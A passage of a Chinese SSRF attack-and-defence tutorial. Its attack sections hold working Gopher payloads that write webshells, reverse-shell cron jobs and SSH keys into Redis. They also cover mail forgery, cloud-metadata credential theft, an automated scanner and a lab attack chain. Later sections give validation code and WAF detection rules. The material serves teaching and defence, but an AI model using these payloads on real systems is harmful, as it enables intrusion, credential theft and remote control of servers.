PHP_VALUE: allow_url_include = On
# POST body为PHP代码
<?php system('id'); ?>
生成的Gopher payload示例:
gopher://127.0.0.1:9000/_<URL编码的FastCGI数据包>
7.5 Gopher打SMTP(邮件伪造)
当内网存在SMTP服务(25端口)时,可利用Gopher协议伪造邮件发送:
# SMTP原始命令
HELO attacker.com
MAIL FROM: <admin@target.com>
RCPT TO: <victim@example.com>
DATA
Subject: Urgent Notification
From: admin@target.com
To: victim@example.com
This is a forged email via SSRF.
.
QUIT
# Gopher payload
gopher://127.0.0.1:25/_HELO%20attacker.com%0d%0aMAIL%20FROM:%20%3Cadmin@target.com%3E%0d%0aRCPT%20TO:%20%3Cvictim@example.com%3E%0d%0aDATA%0d%0aSubject:%20Urgent%0d%0a%0d%0aForged%20email%0d%0a.%0d%0aQUIT%0d%0a
7.6 Gopher打Zabbix
Zabbix Server默认端口10051,存在未授权时可利用Gopher执行命令:
# Zabbix通过agent关键字执行命令
gopher://127.0.0.1:10051/_<Zabbix协议数据包>
7.7 完整Gopher Payload集
# Redis - INFO
gopher://127.0.0.1:6379/_INFO%0d%0a
# Redis - 写Webshell
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a<php_webshell>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# Redis - 写Cron
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$66%0d%0a%0a%0a*%20*%20*%20*%20*%20bash%20-i%20%3E%26%20/dev/tcp/attacker/4444%200%3E%261%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# Redis - 写SSH公钥
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$393%0d%0a%0a%0a<ssh公钥内容>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# FastCGI - RCE
gopher://127.0.0.1:9000/_<FastCGI payload>
# SMTP - 邮件伪造
gopher://127.0.0.1:25/_<SMTP命令序列>
八、SSRF与其他漏洞组合
SSRF的真正威力在于与其他漏洞组合,形成完整的攻击链。
8.1 SSRF + Redis未授权 -> RCE
这是最经典的SSRF组合利用链,流程如下:
- 通过SSRF探测内网,发现Redis(6379端口)
- 利用Gopher协议向Redis发送命令
- 写入Webshell/Cron/SSH公钥
- 获取服务器权限
完整攻击链Payload:
# 第一步:探测Redis
dict://192.168.1.10:6379/INFO
# 第二步:写入Webshell
gopher://192.168.1.10:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$29%0d%0a%3C%3Fphp%20@eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# 第三步:访问Webshell
http://192.168.1.10/shell.php
8.2 SSRF + MySQL未授权 -> 数据窃取
当内网MySQL存在未授权访问时:
# 通过Gopher执行MySQL查询
gopher://192.168.1.20:3306/_<MySQL查询数据包>
# 使用Gopherus生成payload
python gopherus.py --exploit mysql
8.3 SSRF + 内网其他服务
SSRF可组合的内网服务:
| 内网服务 | 组合利用 | 效果 |
|---|---|---|
| Elasticsearch | SSRF + REST API | 数据读取、脚本执行 |
| Docker API | SSRF + 2375端口 | 容器逃逸、宿主接管 |
| Kubernetes API | SSRF + Token | 集群接管 |
| Memcached | SSRF + 未授权 | 缓存数据读取 |
| MongoDB | SSRF + 未授权 | 数据库数据读取 |
| ActiveMQ | SSRF + 默认口令 | 消息队列控制 |
| Jenkins | SSRF + 脚本执行 | RCE |
| Spring Actuator | SSRF + /env端点 | 配置泄露、RCE |
8.4 SSRF + XXE
SSRF可与XXE漏洞组合,通过XXE的外部实体加载触发SSRF:
xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>
8.5 SSRF + 文件读取
利用file协议读取配置文件,获取更多内网信息:
# 读取应用配置获取内网拓扑
file:///etc/hosts
file:///app/config/database.yml
file:///var/www/html/.env
# 读取Redis配置获取密码
file:///etc/redis/redis.conf
# 读取Nginx配置获取后端服务
file:///etc/nginx/nginx.conf
file:///etc/nginx/conf.d/default.conf
8.6 完整组合利用链
以一个典型内网环境为例,完整攻击链如下:
-
SSRF读取hosts文件,发现内网服务
file:///etc/hosts
发现 192.168.1.10 (Redis), 192.168.1.20 (MySQL), 192.168.1.30 (Web)
-
SSRF读取Nginx配置,发现后端API
file:///etc/nginx/conf.d/default.conf
发现 proxy_pass http://192.168.1.30:8080/api
-
SSRF探测Redis未授权
dict://192.168.1.10:6379/INFO
-
Gopher打Redis写Webshell
gopher://192.168.1.10:6379/_<写shell payload>
-
通过Webshell获取内网shell,横向移动
九、SSRF攻击工具与自动化
9.1 SSRFmap使用指南
SSRFmap是一个流行的SSRF自动化利用框架,支持多种利用模块。
安装与使用:
bash
# 安装
git clone https://github.com/swisskyrepo/SSRFmap.git
cd SSRFmap
pip3 install -r requirements.txt
# 基本使用
python3 ssrfmap.py -r request.txt -p url -m readfiles
# 参数说明
# -r: 请求文件(Burp保存的请求)
# -p: SSRF参数名
# -m: 利用模块
SSRFmap支持模块:
# 常用模块
readfiles # 读取文件
portscan # 端口扫描
aws # AWS元数据
gopher # Gopher协议利用
redis # Redis攻击
mysql # MySQL攻击
fastcgi # FastCGI攻击
kdb # Kubernetes利用
请求文件示例(request.txt):
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
url=testvalue
9.2 Gopherus工具使用
Gopherus用于生成各种服务的Gopher payload。
bash
# 安装
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
pip3 install -r requirements.txt
# 生成Redis写Webshell payload
python3 gopherus.py --exploit redis
# 生成MySQL利用payload
python3 gopherus.py --exploit mysql
# 生成FastCGI RCE payload
python3 gopherus.py --exploit fastcgi
# 生成SMTP邮件伪造payload
python3 gopherus.py --exploit smtp
# 生成Zabbix利用payload
python3 gopherus.py --exploit zabbix
9.3 SSRF-Request-Generator
用于将HTTP请求转换为Gopher格式的工具:
bash
# 安装
git clone https://github.com/cybergrandchallenge/ssrf-requests.git
# 将HTTP请求转为Gopher payload
python3 ssrf-request-generator.py
9.4 自定义SSRF扫描脚本
完整的SSRF自动化扫描与利用脚本:
python
import requests
import socket
import ipaddress
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
class SSRFScanner:
def __init__(self):
self.internal_ranges = [
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16", # 链路本地(云元数据)
"100.100.0.0/16", # 阿里云元数据
]
def is_internal_ip(self, ip):
"""判断是否为内网IP"""
addr = ipaddress.ip_address(ip)
for net in self.internal_ranges:
if addr in ipaddress.ip_network(net):
return True
return False
def scan_port(self, target_url, param, host, port, timeout=10):
"""扫描单个端口"""
payload = f"http://{host}:{port}"
try:
r = requests.get(target_url, params={param: payload}, timeout=timeout)
return {
"host": host, "port": port,
"status": r.status_code,
"length": len(r.text),
"time": r.elapsed.total_seconds()
}
except requests.exceptions.Timeout:
return {"host": host, "port": port, "status": "timeout"}
except:
return {"host": host, "port": port, "status": "error"}
def scan_common_ports(self, target_url, param, host):
"""扫描常见端口"""
common_ports = [22, 21, 80, 443, 3306, 6379, 11211, 27017,
9200, 9000, 8080, 8443, 2375, 8500, 6443]
results = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(self.scan_port, target_url, param, host, p)
for p in common_ports]
for future in as_completed(futures):
result = future.result()
if result["status"] not in ["timeout", "error"]:
results.append(result)
print(f"[+] {result['host']}:{result['port']} -> {result['status']}")
return results
def try_protocols(self, target_url, param):
"""测试多种协议"""
protocols_payloads = {
"file_etc_passwd": "file:///etc/passwd",
"file_win_ini": "file:///C:/Windows/win.ini",
"file_hosts": "file:///etc/hosts",
"dict_redis": "dict://127.0.0.1:6379/INFO",
"dict_mysql": "dict://127.0.0.1:3306/",
"gopher_redis": "gopher://127.0.0.1:6379/_INFO%0d%0aquit%0d%0a",
"aws_metadata": "http://169.254.169.254/latest/meta-data/",
"aliyun_metadata": "http://100.100.100.200/latest/meta-data/",
}
results = []
for name, payload in protocols_payloads.items():
try:
r = requests.get(target_url, params={param: payload}, timeout=10)
result = {
"test": name, "payload": payload,
"status": r.status_code, "length": len(r.text)
}
results.append(result)
print(f"[*] {name}: {r.status_code} | {len(r.text)} bytes")
if len(r.text) > 0:
print(f" Preview: {r.text[:200]}")
except Exception as e:
print(f"[!] {name}: Error - {e}")
return results
def run(self, target_url, param, scan_host="127.0.0.1"):
"""执行完整扫描"""
print(f"=== SSRF Scan: {target_url} (param: {param}) ===\n")
print("[*] Testing protocols...")
self.try_protocols(target_url, param)
print(f"\n[*] Scanning ports on {scan_host}...")
self.scan_common_ports(target_url, param, scan_host)
print("\n[+] Scan complete")
if __name__ == "__main__":
scanner = SSRFScanner()
scanner.run("http://target.com/api/fetch", "url")
9.5 Burp Suite SSRF检测
Burp Suite中SSRF检测方法:
- 使用Burp Collaborator作为带外检测通道
- 配置Collaborator客户端获取payload地址
- 对所有URL参数注入Collaborator地址
- 检查Collaborator是否收到回调
Burp Suite插件推荐:
| 插件 | 功能 |
|---|---|
| Collaborator Everywhere | 自动注入 Collaborator payload |
| SSRF Reflection Finder | 检测SSRF反射 |
| Param Miner | 参数发现与探测 |
| Logger++ | 请求日志与搜索 |
9.6 完整自动化扫描流程
1. 使用Param Miner发现隐藏URL参数
2. 使用Collaborator Everywhere自动注入回调payload
3. 检查Collaborator面板是否收到DNS/HTTP回调
4. 对确认的SSRF点使用SSRFmap进行深度利用
5. 使用Gopherus生成Gopher payload攻击内网服务
6. 记录所有发现并生成报告
十、SSRF防御方案
10.1 输入验证与URL白名单
最基础的防御是对用户输入的URL进行严格校验:
python
import re
from urllib.parse import urlparse
def validate_url(url, allowed_domains=None):
"""验证URL是否安全"""
try:
parsed = urlparse(url)
except:
return False
# 仅允许http和https协议
if parsed.scheme not in ['http', 'https']:
return False
# 域名白名单检查
if allowed_domains:
if parsed.hostname not in allowed_domains:
return False
# 禁止@符号(防止URL解析差异绕过)
if '@' in url:
return False
# 禁止#符号绕过
if '#' in parsed.netloc:
return False
return True
10.2 DNS解析后IP校验
这是最关键的一步:在DNS解析后检查实际IP是否为内网地址,防止DNS重绑定。
python
import socket
import ipaddress
def is_safe_ip(ip):
"""检查IP是否为安全的公网IP"""
try:
addr = ipaddress.ip_address(ip)
except:
return False
# 禁止内网IP
internal_ranges = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # 链路本地(云元数据)
ipaddress.ip_network("100.100.0.0/16"), # 阿里云元数据
ipaddress.ip_network("0.0.0.0/8"),
]
for net in internal_ranges:
if addr in net:
return False
# 禁止IPv6回环
if addr == ipaddress.ip_address("::1"):
return False
return True
def safe_request(url):
"""安全的URL请求:DNS解析后校验IP"""
parsed = urlparse(url)
hostname = parsed.hostname
# DNS解析获取实际IP
try:
ips = socket.getaddrinfo(hostname, None)
except:
raise Exception("DNS resolution failed")
for ip_info in ips:
ip = ip_info[4][0]
if not is_safe_ip(ip):
raise Exception(f"Blocked internal IP: {ip}")
# 设置短TTL防止DNS重绑定
# 使用自定义DNS解析器固定IP
return requests.get(url, allow_redirects=False)
10.3 禁用危险协议
在URL校验阶段,仅允许http和https协议:
python
def check_protocol(url):
parsed = urlparse(url)
allowed_schemes = ['http', 'https']
if parsed.scheme not in allowed_schemes:
raise Exception(f"Protocol {parsed.scheme} is not allowed")
10.4 请求重定向禁用与限制
禁用自动重定向,防止302跳转绕过:
python
# Python requests
response = requests.get(url, allow_redirects=False)
# 如果需要跟随重定向,每次跳转后重新校验IP
class SafeSession(requests.Session):
def resolve_redirects(self, resp, req, stream=False, timeout=None,
verify=True, cert=None, proxies=None, yield_requests=False, **adapter_kwargs):
for redirect in super().resolve_redirects(resp, req, **adapter_kwargs):
# 对每个重定向目标重新校验IP
parsed = urlparse(redirect.url)
ips = socket.getaddrinfo(parsed.hostname, None)
for ip_info in ips:
ip = ip_info[4][0]
if not is_safe_ip(ip):
raise Exception(f"Redirect to internal IP blocked: {ip}")
yield redirect
10.5 网络层隔离
通过网络层防护限制SSRF的影响范围:
bash
# iptables规则:禁止Web容器访问元数据地址
iptables -A OUTPUT -d 169.254.169.254 -j DROP
iptables -A OUTPUT -d 169.254.0.23 -j DROP
iptables -A OUTPUT -d 100.100.100.200 -j DROP
# 限制Web容器只能访问外网80/443
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP
10.6 代理服务器配置
通过代理服务器统一出口,并限制内网访问:
nginx
# Nginx正向代理配置
server {
listen 8080;
location / {
proxy_pass $scheme://$host$request_uri;
# 禁止代理到内网
if ($host ~* "^(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.)") {
return 403;
}
# 禁止特定域名
if ($host ~* "localhost|metadata|internal") {
return 403;
}
}
}
10.7 各语言安全代码示例
PHP安全示例
php
<?php
function isSafeIP($ip) {
$internal_patterns = [
'/^127\./', '/^10\./', '/^192\.168\./',
'/^172\.(1[6-9]|2[0-9]|3[01])\./',
'/^169\.254\./', '/^100\.100\./', '/^0\./'
];
foreach ($internal_patterns as $pattern) {
if (preg_match($pattern, $ip)) {
return false;
}
}
// IPv6回环
if ($ip === '::1' || strpos($ip, '::ffff:127.') === 0) {
return false;
}
return true;
}
function safeFetch($url) {
$parsed = parse_url($url);
// 仅允许http/https
if (!in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
throw new Exception("Protocol not allowed");
}
// 禁止@
if (strpos($url, '@') !== false) {
throw new Exception("@ symbol not allowed");
}
// DNS解析后校验
$ip = gethostbyname($parsed['host']);
if (!isSafeIP($ip)) {
throw new Exception("Internal IP blocked");
}
// 使用curl并禁用重定向
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
return curl_exec($ch);
}
?>
Java安全示例
java
import java.net.*;
import java.util.regex.*;
public class SSRFProtection {
private static final Pattern INTERNAL_IP = Pattern.compile(
"^(127\\.|10\\.|192\\.168\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|169\\.254\\.|100\\.100\\.|0\\.)"
);
public static boolean isSafeIP(String ip) {
if (INTERNAL_IP.matcher(ip).find()) return false;
if (ip.equals("::1") || ip.startsWith("::ffff:127.")) return false;
return true;
}
public static String safeRequest(String urlString) throws Exception {
URL url = new URL(urlString);
// 协议白名单
if (!url.getProtocol().matches("https?")) {
throw new SecurityException("Protocol not allowed");
}
// DNS解析后校验
InetAddress[] addresses = InetAddress.getAllByName(url.getHost());
for (InetAddress addr : addresses) {
if (!isSafeIP(addr.getHostAddress())) {
throw new SecurityException("Internal IP blocked");
}
}
// 禁用重定向
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setInstanceFollowRedirects(false);
conn.setConnectTimeout(10000);
conn.setReadTimeout(10000);
// 读取响应
try (var is = conn.getInputStream()) {
return new String(is.readAllBytes());
}
}
}
Go安全示例
go
package main
import (
"fmt"
"net"
"net/http"
"net/url"
"regexp"
"time"
)
var internalIPPattern = regexp.MustCompile(
`^(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.|0\.)`,
)
func isSafeIP(ip string) bool {
if internalIPPattern.MatchString(ip) {
return false
}
if ip == "::1" || ip == "::" {
return false
}
return true
}
func safeFetch(rawURL string) (string, error) {
parsed, err := url.Parse(rawURL)
if err != nil {
return "", err
}
// 协议白名单
if parsed.Scheme != "http" && parsed.Scheme != "https" {
return "", fmt.Errorf("protocol not allowed")
}
// 禁止@
if parsed.User != nil {
return "", fmt.Errorf("userinfo not allowed")
}
// DNS解析后校验
ips, err := net.LookupIP(parsed.Hostname())
if err != nil {
return "", err
}
for _, ip := range ips {
if !isSafeIP(ip.String()) {
return "", fmt.Errorf("internal IP blocked: %s", ip)
}
}
// 自定义Transport禁用重定向
client := &http.Client{
Timeout: 10 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp, err := client.Get(rawURL)
if err != nil {
return "", err
}
defer resp.Body.Close()
buf := make([]byte, 4096)
n, _ := resp.Body.Read(buf)
return string(buf[:n]), nil
}
10.8 WAF规则配置
WAF层面的SSRF防护规则示例(ModSecurity):
# ModSecurity规则:检测SSRF特征
SecRule ARGS "@rx (?i)(file://|gopher://|dict://|ldap://|tftp://)" \
"id:1001,phase:2,deny,status:403,msg:'SSRF Dangerous Protocol Detected'"
# 检测内网IP
SecRule ARGS "@rx (?i)(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|169\.254\.|100\.100\.)" \
"id:1002,phase:2,deny,status:403,msg:'SSRF Internal IP Detected'"
# 检测云元数据地址
SecRule ARGS "@rx (?i)169\.254\.169\.254" \
"id:1003,phase:2,deny,status:403,msg:'SSRF Cloud Metadata Access'"
# 检测@符号绕过
SecRule ARGS "@rx @" \
"id:1004,phase:2,deny,status:403,msg:'SSRF @ bypass attempt'"
十一、靶场实战:完整SSRF攻击链
11.1 靶场环境搭建
使用Docker Compose搭建模拟内网环境:
yaml
# docker-compose.yml
version: '3'
services:
web-app:
image: vuln-ssrf-app:latest
build: ./web-app
ports:
- "8080:80"
networks:
- internal
depends_on:
- redis
- metadata-sim
redis:
image: redis:5-alpine
command: redis-server --protected-mode no
networks:
- internal
metadata-sim:
image: metadata-server:latest
build: ./metadata-sim
networks:
- internal
networks:
internal:
driver: bridge
模拟云元数据服务:
python
# metadata-sim/app.py
from flask import Flask, request, jsonify
import json
app = Flask(__name__)
METADATA = {
"instance-id": "i-ssrf-target-001",
"iam": {
"security-credentials": {
"ssrf-role": {
"AccessKeyId": "AKIAxxxxxxxxxxx",
"SecretAccessKey": "sssssecretkeyxxxxxx",
"Token": "temp0raryt0kenvalue",
}
}
}
}
@app.route('/latest/meta-data/')
def metadata_root():
return "iam/\ninstance-id\n"
@app.route('/latest/meta-data/<path:path>')
def metadata_path(path):
parts = path.split('/')
data = METADATA
for part in parts:
if isinstance(data, dict) and part in data:
data = data[part]
elif isinstance(data, dict):
return "Not Found", 404
if isinstance(data, (dict, list)):
return json.dumps(data, indent=2)
return str(data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
模拟存在SSRF漏洞的Web应用:
php
<?php
# web-app/index.php - 存在SSRF漏洞
$url = $_GET['url'] ?? '';
if ($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 漏洞:跟随重定向
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
echo "<h2>Fetch Result</h2>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
?>
启动靶场:
bash
docker-compose up -d
# 访问 http://localhost:8080
11.2 从发现到RCE的完整流程
第一步:发现SSRF漏洞
访问Web应用,测试url参数:
http://localhost:8080/?url=http://example.com
确认服务端会请求指定URL。
第二步:读取本地文件
http://localhost:8080/?url=file:///etc/passwd
http://localhost:8080/?url=file:///etc/hosts
从hosts文件中获取内网拓扑信息,发现Redis容器和元数据服务。
第三步:获取云元数据凭据
http://localhost:8080/?url=http://metadata-sim/latest/meta-data/iam/security-credentials/
http://localhost:8080/?url=http://metadata-sim/latest/meta-data/iam/security-credentials/ssrf-role
成功获取AK/SK临时凭据。
第四步:探测内网Redis
http://localhost:8080/?url=dict://redis:6379/INFO
确认Redis存在未授权访问。
第五步:Gopher打Redis写Webshell
使用Gopherus生成payload:
bash
python3 gopherus.py --exploit redis
# 输入Webshell路径: /var/www/html/shell.php
# 输入PHP代码: <?php system($_GET['cmd']); ?>
将生成的payload通过SSRF发送:
http://localhost:8080/?url=gopher://redis:6379/_<生成的payload>
第六步:利用Webshell
http://localhost:8080/shell.php?cmd=id
http://localhost:8080/shell.php?cmd=whoami
成功获取服务器命令执行权限,完成从SSRF到RCE的完整攻击链。
11.3 防御加固实战
对靶场进行加固修复:
修复后的安全代码:
php
<?php
# web-app/safe.php - 修复SSRF
function isSafeIP($ip) {
$patterns = [
'/^127\./', '/^10\./', '/^192\.168\./',
'/^172\.(1[6-9]|2[0-9]|3[01])\./',
'/^169\.254\./', '/^100\.100\./', '/^0\./'
];
foreach ($patterns as $p) {
if (preg_match($p, $ip)) return false;
}
return true;
}
function safeFetch($url) {
$parsed = parse_url($url);
// 协议白名单
if (!in_array($parsed['scheme'] ?? '', ['http', 'https'])) {
throw new Exception("Protocol blocked");
}
// 禁止@
if (strpos($url, '@') !== false) {
throw new Exception("@ blocked");
}
// 域名白名单(可选)
$allowed = ['api.partner.com', 'cdn.example.com'];
if (!in_array($parsed['host'], $allowed)) {
throw new Exception("Domain not whitelisted");
}
// DNS解析后校验IP
$ip = gethostbyname($parsed['host']);
if (!isSafeIP($ip)) {
throw new Exception("Internal IP blocked");
}
// cURL安全配置
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁用重定向
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
return curl_exec($ch);
}
try {
$url = $_GET['url'] ?? '';
if ($url) {
echo safeFetch($url);
}
} catch (Exception $e) {
http_response_code(403);
echo "Blocked: " . $e->getMessage();
}
?>
网络层加固:
bash
# 禁止Web容器访问元数据
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# 限制Redis仅内网访问且需要认证
# Redis配置: requirepass strongpassword123
十二、总结与参考资源
12.1 SSRF检查清单
| 检查项 | 说明 | 状态 |
|---|---|---|
| URL参数校验 | 仅允许http/https协议 | 待检查 |
| DNS解析后IP校验 | 禁止内网/保留/元数据IP | 待检查 |
| 禁用危险协议 | 禁止file/gopher/dict/ldap | 待检查 |
| 禁用重定向 | 或每次重定向后重新校验 | 待检查 |
| 域名白名单 | 仅允许已知可信域名 | 待检查 |
| 网络层隔离 | 防火墙禁止访问元数据地址 | 待检查 |
| 元数据加固 | 启用IMDSv2、添加路由过滤 | 待检查 |
| 错误处理 | 不泄露内部网络信息 | 待检查 |
| 请求超时 | 设置合理超时防止时间探测 | 待检查 |
| 日志审计 | 记录所有外发请求 | 待检查 |
12.2 绕过技术速查表
| 绕过类型 | 方法 | 示例 |
|---|---|---|
| IP十进制 | 整数表示 | http://2130706433/ |
| IP十六进制 | 十六进制表示 | http://0x7f000001/ |
| IP八进制 | 八进制表示 | http://017700000001/ |
| IPv6 | IPv6回环 | http://::1/ |
| 省略写法 | 简写本地地址 | http://127.1/ |
| 全零地址 | 0.0.0.0 | http://0.0.0.0/ |
| 域名解析 | 泛解析服务 | http://127.0.0.1.xip.io/ |
| @符号 | URL解析差异 | http://safe@127.0.0.1/ |
| 302跳转 | 重定向到内网 | http://attacker/redirect |
| DNS重绑定 | TTL=0交替解析 | http://rebind.attacker.com/ |
12.3 协议利用速查表
| 协议 | 用途 | 示例 |
|---|---|---|
| file | 读取本地文件 | file:///etc/passwd |
| dict | 端口探测/服务信息 | dict://127.0.0.1:6379/INFO |
| gopher | 任意TCP数据包 | gopher://127.0.0.1:6379/_... |
| http/https | 内网Web扫描 | http://127.0.0.1:8080 |
| ldap | 目录服务查询 | ldap://127.0.0.1:389/ |
| tftp | UDP文件传输 | tftp://127.0.0.1/file |
12.4 云元数据地址速查
| 云厂商 | 地址 | 凭据路径 |
|---|---|---|
| AWS | 169.254.169.254 | /latest/meta-data/iam/security-credentials/ |
| 阿里云 | 100.100.100.200 | /latest/meta-data/ram/security-credentials/ |
| 腾讯云 | 169.254.0.23 | /latest/meta-data/cam/security-credentials/ |
| 华为云 | 169.254.169.254 | /latest/meta-data/iam/security-credentials/ |
| Azure | 169.254.169.254 | /metadata/instance (需Header) |
| GCP | metadata.google.internal | /computeMetadata/v1/ (需Header) |
12.5 参考资源列表
| 资源 | 说明 |
|---|---|
| OWASP SSRF | https://owasp.org/www-community/attacks/Server_Side_Request_Forgery |
| SSRFmap | https://github.com/swisskyrepo/SSRFmap |
| Gopherus | https://github.com/tarunkant/Gopherus |
| PortSwigger SSRF | https://portswigger.net/web-security/ssrf |
| AWS IMDS文档 | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html |
| 阿里云元数据 | https://help.aliyun.com/document_detail/214358.html |
| DNS Rebinding | https://en.wikipedia.org/wiki/DNS_rebinding |
| PayloadsAllTheThings SSRF | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery |
| HackTricks SSRF | https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery |
| PortSwigger Web Security Academy | SSRF实操靶场 |
12.6 合规声明
【提示】 本文所有技术内容、payload、脚本和配置示例仅供以下合法用途:授权渗透测试、安全研究学习、企业安全防御建设、安全教学与培训。未经授权对任何真实系统使用本文所述技术属于违法行为,可能导致严重的法律后果。作者不对任何滥用行为承担责任。请始终遵守当地法律法规,在获得明确书面授权的前提下进行安全测试。如需实践,请使用本文提供的靶场环境或PortSwigger Web Security Academy等合法靶场平台。
本文全面覆盖了SSRF漏洞从基础原理到高级利用的完整知识体系。掌握SSRF攻防技术的关键在于理解"服务端代替用户发起请求"这一核心机制,以及多协议、DNS解析、云元数据等利用维度。在防御侧,DNS解析后IP校验 + 协议白名单 + 网络隔离的三层防护体系是最有效的SSRF防护策略。希望本文能为安全从业者提供系统化的SSRF攻防参考。

